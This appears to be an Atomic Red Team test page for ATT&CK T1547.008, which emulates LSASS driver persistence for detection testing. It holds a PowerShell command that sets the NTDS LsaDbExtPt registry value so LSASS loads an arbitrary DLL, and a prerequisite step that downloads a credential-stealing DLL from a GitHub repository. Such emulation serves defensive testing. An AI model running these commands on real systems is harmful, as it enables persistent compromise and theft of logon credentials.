Skip to content
Atomic Red Team
atomics
T1547.008

T1547.008 - Boot or Logon Autostart Execution: LSASS Driver

Description from ATT&CK (opens in a new tab)

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)

Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., Hijack Execution Flow (opens in a new tab)), an adversary can use LSA operations to continuously execute malicious payloads.

Atomic Tests


Atomic Test #1 - Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt

The following Atomic will modify an undocumented registry key that may be abused to load a arbitrary DLL into LSASS.

Upon execution, the registry key will be modified and a value will contain the path to the DLL. Reference: https://blog.xpnsec.com/exploring-mimikatz-part-1/ (opens in a new tab) and source https://github.com/oxfemale/LogonCredentialsSteal (opens in a new tab) Note that if any LSA based protection is enabled, this will most likely not be successful with LSASS.exe loading the DLL.

Supported Platforms: Windows

auto_generated_guid: 8ecef16d-d289-46b4-917b-0dba6dc81cf1

Inputs:

NameDescriptionTypeDefault Value
dll_pathModule to be loaded into LSASSpathPathToAtomicsFolder\..\ExternalPayloads\lsass_lib.dll

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "#{dll_path}"

Cleanup Commands:

Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS" -Name "LsaDbExtPt" -ErrorAction Ignore | Out-Null

Dependencies: Run with powershell!

Description: lsass_lib.dll must exist on disk at specified location (#{dll_path})
Check Prereq Commands:
if (Test-Path "#{dll_path}") {exit 0} else {exit 1}
Get Prereq Commands:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/oxfemale/LogonCredentialsSteal/raw/53e74251f397ddeab2bd1348c3ff26d702cfd836/lsass_lib/x64/Release/lsass_lib.dll" -UseBasicParsing -OutFile "#{dll_path}"